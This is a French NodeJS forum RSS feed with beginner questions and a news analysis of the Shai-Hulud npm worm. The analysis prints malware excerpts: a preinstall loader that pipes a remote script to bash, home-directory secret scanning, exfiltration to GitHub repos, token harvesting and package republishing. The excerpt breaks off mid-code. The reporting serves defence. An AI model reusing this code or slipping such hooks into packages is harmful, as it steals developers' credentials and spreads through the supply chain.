<?xml version="1.0" encoding="ISO-8859-1"?>

<rss version="2.0" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/">
	<channel>
		<title>Forum du club des développeurs et IT Pro - NodeJS</title>
		<link>https://www.developpez.net/forums/</link>
		<description>Forum sur le développement avec NodeJS. Avant de poster : Cours NodeJS.</description>
		<language>fr</language>
		<lastBuildDate>Mon, 13 Apr 2026 07:22:58 GMT</lastBuildDate>
		<generator>vBulletin</generator>
		<ttl>15</ttl>
		<image>
			<url>https://forum.developpez.be/images/misc/rss.png</url>
			<title>Forum du club des développeurs et IT Pro - NodeJS</title>
			<link>https://www.developpez.net/forums/</link>
		</image>
		<item>
			<title><![CDATA[Identification d'exercices sur les tutos développez]]></title>
			<link>https://www.developpez.net/forums/showthread.php?t=2181406&amp;goto=newpost</link>
			<pubDate>Fri, 09 Jan 2026 12:51:42 GMT</pubDate>
			<description>Bonjour, 
Je navigue entre...</description>
			<content:encoded><![CDATA[<div>Bonjour,<br />
Je navigue entre les cours, c'est la galère pour comprendre.<br />
J'en étais au cours 6 du codeur youtubeur, et faute d'explication sur les modules et les constantes ajoutés depuis le site uuid, j'ai préféré revenir à qqchose de plus simple.<br />

<div class="video-container"><iframe class="restrain" title="YouTube video player" width="560" height="315" allowfullscreen src="//www.youtube.com/embed/PbjFB7nfl4g?wmode=transparent&amp;fs=1" frameborder="0"></iframe></div>
<br />
J'ai essayé 2 liens de cours de développez :<br />
- le premier, aucun exercice jusqu'à la page 17, j'ai arrété.<br />
<a href="https://nodejs.developpez.com/tutoriels/javascript/redecouvrir-javascript-avec-nodejs/#Lno-I" target="_blank">https://nodejs.developpez.com/tutori...-nodejs/#Lno-I</a><br />
- Le 2éme, dit pour débutant. J'ai fait le 1er exercice helloword,et je suis à la page 13 ou çà parle de fonction, mais on nous dit pas dans quel fichier la mettre.<br />
<div class="bbcode_container">
	<div class="bbcode_description">Citation:</div>
	<div class="bbcode_quote printable">
		<hr />
		
			Tout d'abord, complétons la fonction start() de notre serveur afin de pouvoir lui passer en paramètre la fonction route<br />
que nous utiliserons :
			
		<hr />
	</div>
</div><a href="https://nodejs.developpez.com/tutoriels/javascript/node-js-livre-debutant/" target="_blank">https://nodejs.developpez.com/tutori...ivre-debutant/</a><br />
Merci de votre aide</div>

]]></content:encoded>
			<category domain="https://www.developpez.net/forums/f2137/javascript/nodejs/">NodeJS</category>
			<dc:creator>frunch</dc:creator>
			<guid isPermaLink="true">https://www.developpez.net/forums/d2181406/javascript/nodejs/identification-d-exercices-tutos-developpez/</guid>
		</item>
		<item>
			<title>gestion des fichiers</title>
			<link>https://www.developpez.net/forums/showthread.php?t=2181320&amp;goto=newpost</link>
			<pubDate>Tue, 06 Jan 2026 03:14:48 GMT</pubDate>
			<description>Bonjour à tous, 
Merci pour...</description>
			<content:encoded><![CDATA[<div>Bonjour à tous,<br />
Merci pour m'avoir orienté vers node.js avec le message précédent.<br />
Je suis au cours n°5 sur la création d'un dossier, et le message n'apparait pas sur node comme pour l'instructeur avec :<br />
<div class="bbcode_container">
	<div class="bbcode_description">Code:</div>
	<hr /><code class="bbcode_code"><span style="color: #0000ff;">if</span><span class="br0">&#40;</span>fs.<span style="color: #0080ff;">existsSync</span><span class="br0">&#40;</span><span style="color: #FF0000;">'/mesFichiers'</span><span class="br0">&#41;</span><span class="br0">&#41;</span><span class="br0">&#123;</span></code><hr />
</div>Ils en discutent en commentaires de la video sur l'utilisation incorrecte, en proposant fs.exists, fs.access ou fs.stat,<br />
mais rien n'y fait. C'est à 4:43<br />
<br />

<div class="video-container"><iframe class="restrain" title="YouTube video player" width="560" height="315" allowfullscreen src="//www.youtube.com/embed/BhB3HuJ9vq4?wmode=transparent&amp;fs=1" frameborder="0"></iframe></div>
<br />
Merci<br />
<br />
<img src="https://www.developpez.net/forums/attachments/p673059d1767669130/javascript/nodejs/gestion-fichiers/bug2.png/" border="0" alt="Nom : bug2.png
Affichages : 102
Taille : 138,9 Ko"  style="float: CONFIG" /></div>


	<div style="padding:10px">

	

	
		<fieldset class="fieldset">
			<legend>Images attachées</legend>
				<div style="padding:10px">
				<img class="attach" src="https://www.developpez.net/forums/attachments/p673059d1767669130/javascript/nodejs/gestion-fichiers/bug2.png/" alt="" />&nbsp;
			</div>
		</fieldset>
	

	

	

	</div>
]]></content:encoded>
			<category domain="https://www.developpez.net/forums/f2137/javascript/nodejs/">NodeJS</category>
			<dc:creator>frunch</dc:creator>
			<guid isPermaLink="true">https://www.developpez.net/forums/d2181320/javascript/nodejs/gestion-fichiers/</guid>
		</item>
		<item>
			<title><![CDATA[Création d'un serveur]]></title>
			<link>https://www.developpez.net/forums/showthread.php?t=2181307&amp;goto=newpost</link>
			<pubDate>Mon, 05 Jan 2026 09:29:01 GMT</pubDate>
			<description>Bonjour, 
Je fais les...</description>
			<content:encoded><![CDATA[<div>Bonjour,<br />
Je fais les exercices en série de vidéos d'une chaine, et çà ne fonctionne plus à la création du serveur par la page localhost.<br />

<div class="video-container"><iframe class="restrain" title="YouTube video player" width="560" height="315" allowfullscreen src="//www.youtube.com/embed/hMbB0rViuMA?wmode=transparent&amp;fs=1" frameborder="0"></iframe></div>
 C'est à 6:35 <br />
Le message serveur créé est sensé apparaitre avec le chargement de la page, mais rien sur chrome ou firefox.<br />
Je n'ai pas trouvé de tuto sur developpez sur ce sujet.<br />
Pourriez-vous m'aider ?<br />
Merci<br />
<img src="https://www.developpez.net/forums/attachments/p673037d1767605166/javascript/nodejs/creation-d-serveur/bug2.png/" border="0" alt="Nom : bug2.png
Affichages : 131
Taille : 101,5 Ko"  style="float: CONFIG" /><img src="https://www.developpez.net/forums/attachments/p673038d1767605182/javascript/nodejs/creation-d-serveur/bug.png/" border="0" alt="Nom : bug.png
Affichages : 122
Taille : 77,6 Ko"  style="float: CONFIG" /></div>


	<div style="padding:10px">

	

	
		<fieldset class="fieldset">
			<legend>Images attachées</legend>
				<div style="padding:10px">
				<img class="attach" src="https://www.developpez.net/forums/attachments/p673037d1767605166/javascript/nodejs/creation-d-serveur/bug2.png/" alt="" />&nbsp;<img class="attach" src="https://www.developpez.net/forums/attachments/p673038d1767605182/javascript/nodejs/creation-d-serveur/bug.png/" alt="" />&nbsp;
			</div>
		</fieldset>
	

	

	

	</div>
]]></content:encoded>
			<category domain="https://www.developpez.net/forums/f2137/javascript/nodejs/">NodeJS</category>
			<dc:creator>frunch</dc:creator>
			<guid isPermaLink="true">https://www.developpez.net/forums/d2181307/javascript/nodejs/creation-d-serveur/</guid>
		</item>
		<item>
			<title>Le retour de Shai-Hulud révèle la fragilité de l’écosystème JavaScript :</title>
			<link>https://www.developpez.net/forums/showthread.php?t=2180628&amp;goto=newpost</link>
			<pubDate>Tue, 25 Nov 2025 14:14:14 GMT</pubDate>
			<description>*Le retour de Shai-Hulud...</description>
			<content:encoded><![CDATA[<div><b><font size="4">Le retour de Shai-Hulud révèle la fragilité de l’écosystème JavaScript :</font></b><br />
<b><font size="1">vol de secrets, runners GitHub détournés et saboteurs intégrés dans plus de 300 paquets npm infectés qui se sont propagées sur 27 000 dépôts GitHub</font></b><br />
<br />
<b>La communauté JavaScript pensait avoir tiré les leçons de la première vague Shai-Hulud. Pourtant, fin novembre 2025, une nouvelle offensive frappe l’écosystème npm avec une sophistication inédite. Plus de 300 paquets infectés, des milliers de dépôts compromis, des jetons de cloud dérobés, des runners GitHub manipulés et, en bout de chaîne, une véritable démonstration de ce qu’une attaque supply-chain moderne peut provoquer.</b><br />
<br />
<b><font size="3">Contexte : pourquoi ce type d’attaque est pertinent</font></b><br />
<br />
L’écosystème npm est immense : des millions de paquets, de nombreuses dépendances transversales, et une grande part de confiance implicite envers les mainteneurs et les versions. Cette confiance est devenue une cible privilégiée pour les acteurs malveillants : en compromettant un paquet diffusé largement, ils peuvent infecter de nombreuses applications en aval, directement ou indirectement.<br />
<br />
L’incident original nommé <span style="font-family: monospace; padding: 2px; background: #ddd; display: inline-block">Shai&#8209;Hulud</span> (sans le « 1 ») avait déjà été documenté précédemment : une fonction d'auto-réplication et de propagation dans l’écosystème npm, avec vol de jetons, des insertions de workflows GitHub malveillants, etc. La nouvelle vague, Sha1-Hulud, reprend et amplifie ces techniques.<br />
<br />
Le fait que la dernière campagne soit ciblée « par la chaîne d’approvisionnement logicielle » (software supply chain) la rend d’autant plus critique : ici, ce ne sont pas seulement des utilisateurs finaux ou des organisations spécifiques qui sont visés, mais potentiellement tous les projets reposant sur un des paquets compromis.<br />
<br />
<b><font size="3">Une attaque qui rappelle la fragilité de l’écosystème JavaScript</font></b><br />
<br />
L’écosystème npm est devenu un symbole de vitesse et d’efficacité, mais aussi de vulnérabilité. La multiplication des dépendances, les scripts d’installation automatiques, l’absence de vérification systématique du code publié : autant de portes ouvertes pour des campagnes malveillantes de plus en plus industrielles. <span style="font-family: monospace; padding: 2px; background: #ddd; display: inline-block">Shai-Hulud</span>, déjà connu pour une première vague particulièrement agressive, démontre une nouvelle fois à quelle vitesse une attaque supply-chain peut contaminer un environnement qui repose sur la confiance plus que sur le contrôle.<br />
<br />
Dans cette seconde offensive, plus de 300 paquets ont été modifiés pour inclure du code malveillant. La contamination s’est ensuite propagée aux projets qui les utilisent, pour atteindre des dizaines de milliers de dépôts GitHub en quelques heures.<br />
<br />
Selon HelixGuard, la campagne a vu ses paquets malveillants être publiés entre le 21 et le 23 novembre 2025.<br />
<br />
<div class="bbcode_container">
	<div class="bbcode_description">Citation:</div>
	<div class="bbcode_quote printable">
		<hr />
		
			<div>
				Envoyé par <strong>HelixGuard</strong>
				
			</div>
			<div class="message">Le 24 novembre 2025, HelixGuard a détecté que plus de 1 000 composants du registre NPM avaient été corrompus à l'aide de la même méthode en l'espace de quelques heures. Les nouvelles versions de ces paquets publiées dans le registre NPM prétendaient faussement introduire le runtime Bun, ajoutant le script <span style="font-family: monospace; padding: 2px; background: #ddd; display: inline-block"><span style="color: #800000;">preinstall</span>: node setup_bun.js</span> ainsi qu'un fichier <span style="font-family: monospace; padding: 2px; background: #ddd; display: inline-block">bun_environment.js</span> obscurci.<br />
<br />
Une fois exécuté, le logiciel malveillant télécharge et exécute TruffleHog pour analyser la machine locale, volant des informations sensibles telles que les jetons NPM, les identifiants AWS/GCP/Azure et les variables d'environnement.<br />
<br />
Le code malveillant exfiltre les informations volées en créant un runner GitHub Action nommé <span style="font-family: monospace; padding: 2px; background: #ddd; display: inline-block">SHA1HULUD</span> et une description de référentiel GitHub <span style="font-family: monospace; padding: 2px; background: #ddd; display: inline-block">Sha1-<span style="color: #800000;">Hulud</span> : The Second Coming</span>. Cela suggère qu'il pourrait s'agir du même attaquant que celui derrière l'attaque « Shai-Hulud » observée en septembre 2025.<br />
<br />
À l'heure actuelle, plus de 27 000 référentiels GitHub ont été infectés.</div>
			
		<hr />
	</div>
</div>De son côté, l'équipe de recherche sur les vulnérabilités de GitLab a elle aussi identifié une attaque active à grande échelle visant la chaîne d'approvisionnement, impliquant une variante destructrice de logiciel malveillant se propageant dans l'écosystème npm :<br />
<br />
« Notre système de surveillance interne a détecté plusieurs paquets infectés contenant ce qui semble être une version évoluée du logiciel malveillant &quot;Shai-Hulud&quot;. Les premières analyses montrent un comportement de propagation de type ver qui infecte automatiquement d'autres paquets gérés par les développeurs concernés. Plus grave encore, nous avons découvert que le logiciel malveillant contient un mécanisme de &quot;commutateur d'homme mort&quot; qui menace de détruire les données des utilisateurs si ses canaux de propagation et d'exfiltration sont coupés ».<br />
<br />
<b><font size="3">Comment la contamination s’opère : anatomie d’un ver npm moderne</font></b><br />
<br />
L’attaque repose sur une mécanique huilée, qui combine vol de secrets, propagation automatique et exploitation des plateformes de développement.<br />
<br />
<b>Un script d’installation comme porte d’entrée</b><br />
<br />
Le cœur de l’attaque réside dans les scripts « postinstall » insérés dans les paquets infectés. Lorsqu’un développeur installe la dépendance, un fichier JavaScript obfusqué s’exécute automatiquement.<br />
Ce script scanne l’environnement local à la recherche de secrets :<br />
<ul><li style="">jetons npm,</li><li style="">clés GitHub (PATs),</li><li style="">identifiants AWS/GCP/Azure,</li><li style="">variables d’environnement sensibles,</li><li style="">fichiers de configuration cloud.</li></ul><br />
Ces secrets permettent ensuite au malware de rebondir sur d’autres surfaces : création de dépôts GitHub, interactions avec les workflows, déploiement d’agents malveillants, etc.<br />
<br />
<b>Auto-réplication par infection des comptes npm compromis</b><br />
<br />
Si le script trouve un jeton npm valide, il modifie automatiquement les paquets gérés par ce compte. Il insère le code malveillant dans la nouvelle version, puis publie le paquet mis à jour comme s’il s’agissait d’une release légitime. Ce mécanisme transforme l’attaque en ver : chaque compte compromis amplifie la propagation en infectant ses propres bibliothèques.<br />
<br />
<b>Manipulation des workflows GitHub pour persister</b><br />
<br />
Nouvel élément inquiétant : le malware crée ou modifie des workflows GitHub Actions pour maintenir un accès permanent. Il installe un runner auto-hébergé portant un nom spécifique, ajoute des workflows capables d’exécuter des commandes à distance et crée parfois des dépôts publics pour exfiltrer les données dérobées.<br />
<br />
<b>Capacité destructive en cas d’échec</b><br />
<br />
Lorsque le ver n’arrive pas à voler des secrets exploitables, il déclenche parfois un volet destructeur. Dans certains scénarios observés, il supprime le répertoire personnel de la machine ou efface des configurations essentielles, transformant une attaque de vol en attaque de sabotage.<br />
<br />
GitLab résume l'attaque de cette manière :<br />
<br />
<div class="bbcode_container">
	<div class="bbcode_description">Citation:</div>
	<div class="bbcode_quote printable">
		<hr />
		
			<div>
				Envoyé par <strong>GitLab</strong>
				
			</div>
			<div class="message">Notre système de surveillance interne, qui analyse les registres de paquets open source à la recherche de paquets malveillants, a identifié plusieurs paquets npm infectés par un logiciel malveillant sophistiqué qui :<br />
<ul><li style="">Récupère les identifiants de GitHub, npm, AWS, GCP et Azure.</li><li style="">Exfiltre les données volées vers des référentiels GitHub contrôlés par les attaquants.</li><li style="">Se propagent en infectant automatiquement d'autres paquets appartenant aux victimes</li><li style="">Contiennent une charge utile destructrice qui se déclenche si le logiciel malveillant perd l'accès à son infrastructure</li></ul><br />
Bien que nous avons confirmé plusieurs paquets infectés, le mécanisme de propagation de type ver signifie que de nombreux autres paquets sont susceptibles d'être compromis. L'enquête se poursuit tandis que nous nous efforçons de comprendre toute l'étendue de cette campagne.</div>
			
		<hr />
	</div>
</div><div style="text-align: center;"><img src="https://www.developpez.net/forums/attachments/p672073d1764074079/javascript/nodejs/retour-shai-hulud-revele-fragilite-l-ecosysteme-javascript/chaine.png/" border="0" alt="Nom : chaine.png
Affichages : 48398
Taille : 74,6 Ko"  style="float: CONFIG" /></div><br />
<b><font size="3">Pourquoi cette campagne est plus dangereuse que la première</font></b><br />
<br />
Si la première offensive Shai-Hulud avait déjà marqué les esprits, cette nouvelle vague va plus loin sur plusieurs aspects :<br />
<br />
<b>Une propagation plus rapide et plus profonde</b><br />
<br />
L’utilisation combinée de npm, GitHub et des runners CI donne à l’attaque une portée « transversale » : elle touche non seulement le développement local, mais aussi les pipelines de build et les environnements d’intégration.<br />
<br />
<b>Une palette d’objectifs élargie</b><br />
<br />
Le premier Shai-Hulud se concentrait surtout sur le vol de jetons.<br />
Celui-ci ajoute :<br />
<ul><li style="">la destruction de données ;</li><li style="">la prise de contrôle persistante via CI/CD ;</li><li style="">la réplication autonome ;</li><li style="">la contamination silencieuse d’écosystèmes entiers.</li></ul><br />
<b>Une meilleure dissimulation</b><br />
<br />
Les scripts malveillants sont plus compacts, mieux obfusqués et s’exécutent à travers des chemins d’installation courants. Beaucoup passent inaperçus dans les outils de détection statique classiques.<br />
<br />
<b><font size="3">Vecteur d'infection initial</font></b><br />
<br />
Le logiciel malveillant s'infiltre dans les systèmes grâce à un processus de chargement en plusieurs étapes soigneusement élaboré. Les paquets infectés contiennent un fichier package.json modifié avec un script de préinstallation pointant vers setup_bun.js. Ce script de chargement semble inoffensif, prétendant installer le runtime JavaScript Bun, qui est un outil légitime. Cependant, son véritable objectif est d'établir l'environnement d'exécution du logiciel malveillant.<br />
<br />
<div class="bbcode_container">
	<div class="bbcode_description">Code:</div>
	<hr /><code class="bbcode_code"><table cellspacing="0" cellpadding="0"><tr><td valign="top" width="33"><div style="border: 1px dashed gray; padding-left: 5px; padding-right: 5px; margin-right: 5px; text-align: right; font-family: monospace">1<br />2<br />3<br />4<br />5<br />6<br />7<br />8<br />9<br />10<br />11<br />12<br />13<br /></div></td><td valign="top"><pre style="margin: 0"><span style="color: #808080;">// Ce fichier est ajout&eacute; aux paquets de la victime sous le nom setup_bun.js.</span>
#!/usr/bin/env node
<span style="color: #0000ff;">async</span> <span style="color: #0000ff;">function</span> <span style="color: #0080ff;">downloadAndSetupBun</span><span class="br0">&#40;</span><span class="br0">&#41;</span> <span class="br0">&#123;</span>
  <span style="color: #808080;">// T&eacute;l&eacute;chargements et installations bun</span>
  <span style="color: #0000ff;">let</span> command = process.platform === <span style="color: #FF0000;">'win32'</span> 
    ? <span style="color: #FF0000;">'powershell -c &quot;irm bun.sh/install.ps1|iex&quot;'</span>
    : <span style="color: #FF0000;">'curl -fsSL https://bun.sh/install | bash'</span>;
&nbsp;
  <span style="color: #0080ff;">execSync</span><span class="br0">&#40;</span>command, <span class="br0">&#123;</span> <span style="color: #800000;">stdio</span>: <span style="color: #FF0000;">'ignore'</span> <span class="br0">&#125;</span><span class="br0">&#41;</span>;
&nbsp;
  <span style="color: #808080;">// Ex&eacute;cute le logiciel malveillant proprement dit.</span>
  <span style="color: #0080ff;">runExecutable</span><span class="br0">&#40;</span>bunPath, <span class="br0">&#91;</span><span style="color: #FF0000;">'bun_environment.js'</span><span class="br0">&#93;</span><span class="br0">&#41;</span>;
<span class="br0">&#125;</span></pre></td></tr></table></code><hr />
</div><br />
Le chargeur setup_bun.js télécharge ou localise le runtime Bun sur le système, puis exécute la charge utile bun_environment.js intégrée, un fichier obscurci de 10 Mo déjà présent dans le package infecté. Cette approche offre plusieurs niveaux de contournement : le chargeur initial est petit et semble légitime, tandis que le code malveillant réel est fortement obscurci et intégré dans un fichier trop volumineux pour être inspecté de manière informelle.<br />
<br />
<b><font size="3">Collecte d'identifiants</font></b><br />
<br />
Une fois exécuté, le logiciel malveillant commence immédiatement à rechercher des identifiants dans plusieurs sources :<br />
<ul><li style="">Jetons GitHub : recherche dans les variables d'environnement et les configurations CLI GitHub les jetons commençant par ghp_ (jeton d'accès personnel GitHub) ou gho_(jeton OAuth GitHub)</li><li style="">Identifiants cloud : énumère les identifiants AWS, GCP et Azure à l'aide des SDK officiels, en vérifiant les variables d'environnement, les fichiers de configuration et les services de métadonnées</li><li style="">Jetons npm : extrait les jetons pour la publication de paquets à partir des fichiers .npmrc et des variables d'environnement, qui sont des emplacements courants pour stocker en toute sécurité les configurations et les identifiants sensibles.</li><li style="">Analyse du système de fichiers : télécharge et exécute Trufflehog, un outil de sécurité légitime, pour analyser l'ensemble du répertoire d'accueil à la recherche de clés API, de mots de passe et d'autres secrets cachés dans les fichiers de configuration, le code source ou l'historique git.</li></ul><br />
<div class="bbcode_container">
	<div class="bbcode_description">Code:</div>
	<hr /><code class="bbcode_code"><table cellspacing="0" cellpadding="0"><tr><td valign="top" width="33"><div style="border: 1px dashed gray; padding-left: 5px; padding-right: 5px; margin-right: 5px; text-align: right; font-family: monospace">1<br />2<br />3<br />4<br />5<br />6<br />7<br />8<br />9<br />10<br />11<br /></div></td><td valign="top"><pre style="margin: 0"><span style="color: #0000ff;">async</span> <span style="color: #0000ff;">function</span> <span style="color: #0080ff;">scanFilesystem</span><span class="br0">&#40;</span><span class="br0">&#41;</span> <span class="br0">&#123;</span>
  <span style="color: #0000ff;">let</span> scanner = <span style="color: #0000ff;">new</span> <span style="color: #0080ff;">Trufflehog</span><span class="br0">&#40;</span><span class="br0">&#41;</span>;
  <span style="color: #0000ff;">await</span> scanner.<span style="color: #0080ff;">initialize</span><span class="br0">&#40;</span><span class="br0">&#41;</span>;
&nbsp;
  <span style="color: #808080;">// Analyse le r&eacute;pertoire personnel de l'utilisateur &agrave; la recherche de secrets</span>
  <span style="color: #0000ff;">let</span> findings = <span style="color: #0000ff;">await</span> scanner.<span style="color: #0080ff;">scanFilesystem</span><span class="br0">&#40;</span>os.<span style="color: #0080ff;">homedir</span><span class="br0">&#40;</span><span class="br0">&#41;</span><span class="br0">&#41;</span>;
&nbsp;
  <span style="color: #808080;">// T&eacute;l&eacute;charge les r&eacute;sultats vers le r&eacute;f&eacute;rentiel d'exfiltration</span>
  <span style="color: #0000ff;">await</span> github.<span style="color: #0080ff;">saveContents</span><span class="br0">&#40;</span><span style="color: #FF0000;">&quot;truffleSecrets.json&quot;</span>, 
    <span style="color: #0080ff;">JSON</span>.<span style="color: #0080ff;">stringify</span><span class="br0">&#40;</span>findings<span class="br0">&#41;</span><span class="br0">&#41;</span>;
<span class="br0">&#125;</span></pre></td></tr></table></code><hr />
</div><br />
<b><font size="3">Réseau d'exfiltration de données</font></b><br />
<br />
Le logiciel malveillant utilise des jetons GitHub volés pour créer des référentiels publics avec une mention spécifique dans leur description : « Sha1-Hulud : The Second Coming ». Ces référentiels servent de boîtes de dépôt pour les identifiants et les informations système volés.<br />
<br />
<div class="bbcode_container">
	<div class="bbcode_description">Code:</div>
	<hr /><code class="bbcode_code"><table cellspacing="0" cellpadding="0"><tr><td valign="top" width="33"><div style="border: 1px dashed gray; padding-left: 5px; padding-right: 5px; margin-right: 5px; text-align: right; font-family: monospace">1<br />2<br />3<br />4<br />5<br />6<br />7<br />8<br />9<br />10<br />11<br />12<br />13<br />14<br />15<br />16<br />17<br />18<br />19<br />20<br /></div></td><td valign="top"><pre style="margin: 0"><span style="color: #0000ff;">async</span> <span style="color: #0000ff;">function</span> <span style="color: #0080ff;">createRepo</span><span class="br0">&#40;</span><span style="color: #0080ff;">name</span><span class="br0">&#41;</span> <span class="br0">&#123;</span>
  <span style="color: #808080;">// Cr&eacute;e un r&eacute;f&eacute;rentiel avec un marqueur de description sp&eacute;cifique.</span>
  <span style="color: #0000ff;">let</span> repo = <span style="color: #0000ff;">await</span> <span style="color: #0000ff;">this</span>.octokit.repos.<span style="color: #0080ff;">createForAuthenticatedUser</span><span class="br0">&#40;</span><span class="br0">&#123;</span>
    <span style="color: #800000;">name</span>: <span style="color: #0080ff;">name</span>,
    <span style="color: #800000;">description</span>: <span style="color: #FF0000;">&quot;Sha1-Hulud: The Second Coming.&quot;</span>, <span style="color: #808080;">// Marqueur pour retrouver les d&eacute;p&ocirc;ts ult&eacute;rieurement</span>
    <span style="color: #800000;">private</span>: <span style="color: #339933;">false</span>,
    <span style="color: #800000;">auto_init</span>: <span style="color: #339933;">false</span>,
    <span style="color: #800000;">has_discussions</span>: <span style="color: #339933;">true</span>
  <span class="br0">&#125;</span><span class="br0">&#41;</span>;
&nbsp;
  <span style="color: #808080;">// Installe GitHub Actions Runner pour la persistance</span>
  <span style="color: #0000ff;">if</span> <span class="br0">&#40;</span><span style="color: #0000ff;">await</span> <span style="color: #0000ff;">this</span>.<span style="color: #0080ff;">checkWorkflowScope</span><span class="br0">&#40;</span><span class="br0">&#41;</span><span class="br0">&#41;</span> <span class="br0">&#123;</span>
    <span style="color: #0000ff;">let</span> token = <span style="color: #0000ff;">await</span> <span style="color: #0000ff;">this</span>.octokit.<span style="color: #0080ff;">request</span><span class="br0">&#40;</span>
      <span style="color: #FF0000;">&quot;POST /repos/{owner}/{repo}/actions/runners/registration-token&quot;</span>
    <span class="br0">&#41;</span>;
    <span style="color: #0000ff;">await</span> <span style="color: #0080ff;">installRunner</span><span class="br0">&#40;</span>token<span class="br0">&#41;</span>; <span style="color: #808080;">// Installe un runner auto-h&eacute;berg&eacute;</span>
  <span class="br0">&#125;</span>
&nbsp;
  <span style="color: #0000ff;">return</span> repo;
<span class="br0">&#125;</span></pre></td></tr></table></code><hr />
</div><br />
Si le jeton GitHub initial ne dispose pas des autorisations suffisantes, le logiciel malveillant recherche d'autres référentiels compromis portant le même marqueur, ce qui lui permet de récupérer les jetons d'autres systèmes infectés. Cela crée un réseau résilient de type botnet dans lequel les systèmes compromis partagent des jetons d'accès.<br />
<br />
<div class="bbcode_container">
	<div class="bbcode_description">Code:</div>
	<hr /><code class="bbcode_code"><table cellspacing="0" cellpadding="0"><tr><td valign="top" width="33"><div style="border: 1px dashed gray; padding-left: 5px; padding-right: 5px; margin-right: 5px; text-align: right; font-family: monospace">1<br />2<br />3<br />4<br />5<br />6<br />7<br />8<br />9<br />10<br />11<br />12<br />13<br />14<br />15<br />16<br />17<br />18<br />19<br />20<br />21<br />22<br />23<br /></div></td><td valign="top"><pre style="margin: 0"><span style="color: #808080;">// Comment le r&eacute;seau de logiciels malveillants partage les jetons :</span>
<span style="color: #0000ff;">async</span> <span style="color: #0080ff;">fetchToken</span><span class="br0">&#40;</span><span class="br0">&#41;</span> <span class="br0">&#123;</span>
  <span style="color: #808080;">// Recherche sur GitHub les d&eacute;p&ocirc;ts comportant le marqueur d'identification</span>
  <span style="color: #0000ff;">let</span> results = <span style="color: #0000ff;">await</span> <span style="color: #0000ff;">this</span>.octokit.search.<span style="color: #0080ff;">repos</span><span class="br0">&#40;</span><span class="br0">&#123;</span>
    <span style="color: #800000;">q</span>: <span style="color: #FF0000;">'&quot;Sha1-Hulud: The Second Coming.&quot;'</span>,
    <span style="color: #800000;">sort</span>: <span style="color: #FF0000;">&quot;updated&quot;</span>
  <span class="br0">&#125;</span><span class="br0">&#41;</span>;
&nbsp;
  <span style="color: #808080;">// Essaye de r&eacute;cup&eacute;rer les jetons des r&eacute;f&eacute;rentiels compromis</span>
  <span style="color: #0000ff;">for</span> <span class="br0">&#40;</span><span style="color: #0000ff;">let</span> repo <span style="color: #0000ff;">of</span> results<span class="br0">&#41;</span> <span class="br0">&#123;</span>
    <span style="color: #0000ff;">let</span> contents = <span style="color: #0000ff;">await</span> <span style="color: #0080ff;">fetch</span><span class="br0">&#40;</span>
      <span style="color: #FF0000;">`https://raw.githubusercontent.com/<span style="color: #800000;">${repo.owner}</span>/<span style="color: #800000;">${repo.name}</span>/main/contents.json`</span>
    <span class="br0">&#41;</span>;
&nbsp;
    <span style="color: #0000ff;">let</span> data = <span style="color: #0080ff;">JSON</span>.<span style="color: #0080ff;">parse</span><span class="br0">&#40;</span>Buffer.<span style="color: #0080ff;">from</span><span class="br0">&#40;</span>contents, <span style="color: #FF0000;">'base64'</span><span class="br0">&#41;</span>.<span style="color: #0080ff;">toString</span><span class="br0">&#40;</span><span class="br0">&#41;</span><span class="br0">&#41;</span>;
    <span style="color: #0000ff;">let</span> token = data?.modules?.github?.token;
&nbsp;
    <span style="color: #0000ff;">if</span> <span class="br0">&#40;</span>token &amp;&amp; <span style="color: #0000ff;">await</span> <span style="color: #0080ff;">validateToken</span><span class="br0">&#40;</span>token<span class="br0">&#41;</span><span class="br0">&#41;</span> <span class="br0">&#123;</span>
      <span style="color: #0000ff;">return</span> token;  <span style="color: #808080;">// Utilise un jeton provenant d'un autre syst&egrave;me infect&eacute;</span>
    <span class="br0">&#125;</span>
  <span class="br0">&#125;</span>
  <span style="color: #0000ff;">return</span> <span style="color: #339933;">null</span>;  <span style="color: #808080;">// Aucun jeton valide trouv&eacute; dans le r&eacute;seau</span>
<span class="br0">&#125;</span></pre></td></tr></table></code><hr />
</div><br />
<b><font size="3">Propagation dans la chaîne logistique</font></b><br />
<br />
À l'aide des jetons npm volés, le logiciel malveillant :<br />
<ul><li style="">Télécharge tous les paquets gérés par la victime.</li><li style="">Injecte le chargeur setup_bun.js dans les scripts de préinstallation de chaque paquet.</li><li style="">Intègre la charge utile malveillante bun_environment.js.</li><li style="">Incrémente le numéro de version du paquet.</li><li style="">Republie les paquets infectés sur npm.</li></ul><br />
<br />
<div class="bbcode_container">
	<div class="bbcode_description">Code:</div>
	<hr /><code class="bbcode_code"><table cellspacing="0" cellpadding="0"><tr><td valign="top" width="33"><div style="border: 1px dashed gray; padding-left: 5px; padding-right: 5px; margin-right: 5px; text-align: right; font-family: monospace">1<br />2<br />3<br />4<br />5<br />6<br />7<br />8<br />9<br />10<br />11<br />12<br />13<br />14<br />15<br />16<br />17<br />18<br />19<br />20<br />21<br />22<br />23<br /></div></td><td valign="top"><pre style="margin: 0"><span style="color: #0000ff;">async</span> <span style="color: #0000ff;">function</span> <span style="color: #0080ff;">updatePackage</span><span class="br0">&#40;</span>packageInfo<span class="br0">&#41;</span> <span class="br0">&#123;</span>
  <span style="color: #808080;">// T&eacute;l&eacute;charge le paquet original</span>
  <span style="color: #0000ff;">let</span> tarball = <span style="color: #0000ff;">await</span> <span style="color: #0080ff;">fetch</span><span class="br0">&#40;</span>packageInfo.tarballUrl<span class="br0">&#41;</span>;
&nbsp;
  <span style="color: #808080;">// Extrait et modifier package.json</span>
  <span style="color: #0000ff;">let</span> packageJson = <span style="color: #0080ff;">JSON</span>.<span style="color: #0080ff;">parse</span><span class="br0">&#40;</span><span style="color: #0000ff;">await</span> <span style="color: #0080ff;">readFile</span><span class="br0">&#40;</span><span style="color: #FF0000;">&quot;package.json&quot;</span><span class="br0">&#41;</span><span class="br0">&#41;</span>;
&nbsp;
  <span style="color: #808080;">// Ajoute un script de pr&eacute;installation malveillant</span>
  packageJson.scripts.preinstall = <span style="color: #FF0000;">&quot;node setup_bun.js&quot;</span>;
&nbsp;
  <span style="color: #808080;">// Incr&eacute;mente la version</span>
  <span style="color: #0000ff;">let</span> version = packageJson.version.<span style="color: #0080ff;">split</span><span class="br0">&#40;</span><span style="color: #FF0000;">&quot;.&quot;</span><span class="br0">&#41;</span>.<span style="color: #0080ff;">map</span><span class="br0">&#40;</span><span style="color: #0080ff;">Number</span><span class="br0">&#41;</span>;
